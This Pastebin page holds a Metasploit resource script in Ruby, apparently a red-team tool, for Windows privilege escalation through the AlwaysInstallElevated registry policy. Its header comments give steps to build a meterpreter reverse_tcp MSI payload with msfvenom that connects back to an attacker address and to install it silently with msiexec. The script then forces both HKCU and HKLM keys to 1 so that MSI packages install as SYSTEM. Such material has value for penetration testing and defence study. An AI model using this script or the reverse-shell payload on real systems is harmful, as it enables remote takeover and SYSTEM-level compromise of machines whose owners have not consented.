r00t-3xp10it

MSI_privilege_escalation.rc

Aug 17th, 2016
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 2.57 KB | None | 0 0
  1. ###
  2. # Author: r00t-3xp10it
  3. # Privilege escalation using MSI files.
  4. # 'next time target machine restarts it will let us install .msi files as @SYSTEM'
  5. # Credits: http://toshellandback.com/2015/11/24/ms-priv-esc/
  6. #
  7. # This resource file checks for 'AlwaysInstallElevated' reg key settings
  8. # in target machine, and add the requiered keys if they are not set yet..  
  9. # Also this resource file assumes that you allready have elevated the
  10. # current session (client) with 'getsystem' or 'getprivs'...
  11. #
  12. # ---
  13. # 1º - build windows msi payload:
  14. # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=666 --platform windows -f msi -o escall.msi
  15. #
  16. # 2º - execute msi payload (cmd terminal):
  17. # msiexec /quiet /qn /i escall.msi
  18. #
  19. # 3º - execute privilege_escalation.rc:
  20. # meterpreter > resource privilege_escalation.rc
  21. # ---
  22. ###
  23.  
  24. <ruby>
  25. print_line("  _")
  26. print_line(" | Privilege escalation using MSI files.")
  27. print_line(" | Author: r00t-3xp10it | SSA redteam")
  28. print_line(" |_Credits: http://goo.gl/b7PySN")
  29. print_line("")
  30.  
  31.   print_status(" Checking HKLM remote regedit settings...")
  32.   install_elevated = "AlwaysInstallElevated"
  33.   hklm = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
  34.   local_machine_value = registry_getvaldata(hklm,install_elevated)
  35.  
  36.   if local_machine_value.nil?
  37.     print_error(" HKEY_LOCAL_MACHINE #{install_elevated} does not exist or is not accessible.")
  38.     print_status(" Creating #{install_elevated} remote requiered reg keys...")
  39.     run_single("reg setval -k HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
  40.     run_single("reg setval -k HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
  41.     print_good(" REMARK: next time target machine reboots it will let us install .msi files as @SYSTEM")
  42.     return
  43.  
  44.   elsif local_machine_value == 0
  45.     print_error(" HKEY_LOCAL_MACHINE #{install_elevated} is set to: #{local_machine_value}")
  46.     print_status(" Setting #{install_elevated} remote reg keys to: 1")
  47.     run_single("reg setval -k HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
  48.     run_single("reg setval -k HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
  49.     print_good(" REMARK: next time target machine reboots it will let us install .msi files as @SYSTEM")
  50.     return
  51.  
  52.   else
  53. print_status(" HKEY_LOCAL_MACHINE #{install_elevated} is set to: #{local_machine_value}")
  54. print_good(" Congratz, We are able to remote/local install .msi files as @SYSTEM...")
  55. end
  56. </ruby>
Advertisement
Add Comment
Please, Sign In to add comment